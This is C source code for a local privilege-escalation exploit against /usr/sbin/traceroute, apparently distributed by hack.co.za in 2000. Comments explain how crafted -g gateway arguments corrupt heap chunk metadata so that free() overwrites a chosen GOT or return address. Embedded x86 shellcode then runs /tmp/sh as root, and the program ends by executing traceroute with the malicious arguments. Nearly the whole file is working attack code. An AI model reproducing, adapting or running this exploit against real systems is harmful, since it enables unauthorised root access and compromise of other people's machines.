/* argv0: at first it looks that this doesn't matter but since this is the value found at the top of the stack and thus it's length matter for the location of the shellcode. argv0: bs argv1: nothing is needed for this it should just contain 6 bytes and a 0 (and off course it should be acceptable to inet_addr) argv1: only specific length addr1 will become: 4 bytes from addr2 + zeros length so that p->size = last byte + 3 zeros p->prev_size = first 3 bytes + 00 thus: 6 bytes + 0 p data: size = 0x20 or so; prev_size = ((char *)p) - ((char *) eleet stack pointer) p = addr2 - 7 - 8 so next data should be on addr2 + 0x20 - 7 - 8 argv2: this requires much more thought, the ip_address should be so that p->prev_size and p->size make sense. p->prev_size should be so that prev can be found on the stack since that's an easy place to put it, p->size should be 0x20 or so so that we can put the next chunk in this argument too. argv2: ip addres so that: p->size makes sure next is somewhere in argv2 p->prev_size should point to eleet data on stack (through environment) spacing: next data: prev_size = 0x41414141; size = 0xfffffff0 fd = some_random_pointer (or you could use him) bk = some_random_pointer after that: data for next (prev_size + size + fd + bk) prev_size probably negative argv3: contains the chunk used for prev and the shellcode including the jmp. argv3: eleet data on stack + eleet shellcode baby eleet data: prev_size = BS; size = BS fd = &ret_addr_change - 12 bk = shellcode; shellcode = jmp forward + nops + code How to get the correct value for p? $ cp /usr/sbin/traceroute ./tra $ ltrace ./tra -g1 gtx. Dvorak (dvorak@synnergy.net) */ #include /* easy shellcode - remember there is a certain trick in this baby like not starting /bin/sh but /tmp/sh (yes the 0 byte is written by the code itself so make sure there is something worthwhile in /tmp/sh */ char shellcode[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f" "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd" "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/tmp/sh-O="; /* code to jump forward */ char jmp_forward[] = "\xeb\x0c"; /* again the stupid make_addr function ;) */ void make_addr(char *res, unsigned int val) { int i; char *p = (char *) &val; for (i = 0; i < 4; i++) res[i] = (char) *p++; res[i] = '\0'; } /* which argument number contains the leet_addr and the shellcode? */ #define LEETARG 7 int main(int argc, char *argv[]) { char addr1[1000]; char addr2[1000]; char padding[256]; char execute_me[1000]; int execute_shift = 0; /* next data: prev_size = crap, size=crap and fd and bk point to someplace innocent in the stack, if you want to you can use it to change a second memory place. */ char *next_data = "\x41\x41\x41\x41\xf0\xff\xff\xff" "\xf0\xfd\xff\xbf\xf0\xfd\xff\xbf"; char *leet_data; /* The arguments to start traceroute with, -g separated from its argument because of getopt. */ char *arg[] = {"/usr/sbin/traceroute", "-g", addr1, "-g", addr2, "127.0.0.1", "12", execute_me, NULL}; unsigned int leet_amount; /* This needs some explanation: since the prev chunk will be at a certain distance from p we need to know p since it changes from binary to binary we'll let the attacker figure it out and give it to us ;). */ unsigned int p = strtoul(argv[2], 0, 0); char shell_addr[5]; char ret_addr[5]; /* the first addr 6 bytes long */ snprintf(addr1, sizeof(addr1), "1.2.11"); /* First we fill execute_me (which will make the LEETARG) with 0x41 thats both a NOP and easy to find on the stack. */ memset(execute_me, 0x41, sizeof(execute_me)); /* We put the shellcode and the jmp at the end of execute_me */ strncpy(execute_me+sizeof(execute_me)-strlen(shellcode)-20-1, jmp_forward, strlen(jmp_forward)); strcpy(execute_me+sizeof(execute_me)-strlen(shellcode)-1, shellcode); /* Calculate the address of the shell_code the stack at startup looks like: arg4 arg5 arg6 argLEETARG environment arg0 4 bytes since the environment is gone and LEETARG is the last argument we only need the length of the shellcode and the length of arg0 */ make_addr(shell_addr, 0xc0000000 - 4 - (strlen(arg[0]) + 1) - (strlen(shellcode) +1 + 20)); /* We also ask the attacker to give the address of the pointer to change to point to the shellcode. Something in the GOT is usually very nice */ make_addr(ret_addr, strtoul(argv[1], 0, 0) - 12); /* leet_data should be in 0xbfff fe00 + (p & 0xff) now we calculate the address where chunk_free() will look for prev chunk. We put prev chunk somewhere between 0xbffffe00 and 0xbfffff00 the precise position is defined by the lsb of p. */ printf("p: 0x%08x\n", p); leet_data = (char *) (0xbffffe00 + ((int)p & 0xff)); printf("leet_data: 0x%08x\n", leet_data); /* calculate the value of p->prev_size */ leet_amount = p - (0xbffffe00 + ((int)p & 0xff)); printf("leet_amount: 0x%08x\n", leet_amount); /* the end of execute_me will be on 0xc0000000 - 8 length of execute_me should thus be: 0xc0000000 - leet_data - 8 2 possibilities: either don't put the fake prev chunk at the beginning of execute_me or change the length of execute_me we choose the latter. */ execute_shift = sizeof(execute_me) - (0xc0000000 - (int) leet_data - 4 - (strlen(arg[0]) + 1)); printf("execute_shift: %d\n", execute_shift); arg[LEETARG] += execute_shift; /* use strcpy not snprintf since snprintf does 0 terminated its strings */ strncpy(arg[LEETARG], "\x41\x41\x41\x41\x31\x31\x31\x31", 8); strncpy(arg[LEETARG]+8, ret_addr, 4); strncpy(arg[LEETARG]+12, shell_addr, 4); printf("execute_len:%d arg0%d\n", strlen(arg[LEETARG]), strlen(arg[0])); printf("execute_me_addr: %08x\n", 0xc0000000 - 4 - strlen(arg[0]) - strlen(arg[LEETARG]) - 2); /* pad the second -g option to place next chunk on the expected position */ memset(padding, ' ', sizeof(padding)); /* 0x20 - p->size - 7 because thats the size of addr1 - 8 for p->size and p->prev_size - 12 for addr2 (xx.xx.xx.xx ) */ padding[0x20 - 7 - 8 - 12] = '\0'; printf("padding: %d bytes\n", strlen(padding)); /* put hex equivalent of leet amount in ip_address */ snprintf(addr2, sizeof(addr2), "0x%02x.0x%02x.0x%02x.0x%02x%s%s", ((unsigned char *) &leet_amount)[1], ((unsigned char *) &leet_amount)[2], ((unsigned char *) &leet_amount)[3], 0x20, padding, next_data); /* This time it should work ;) */ printf("Going for root!!!\n"); execve(arg[0], arg, NULL); } /* www.hack.co.za [17 October 2000]*/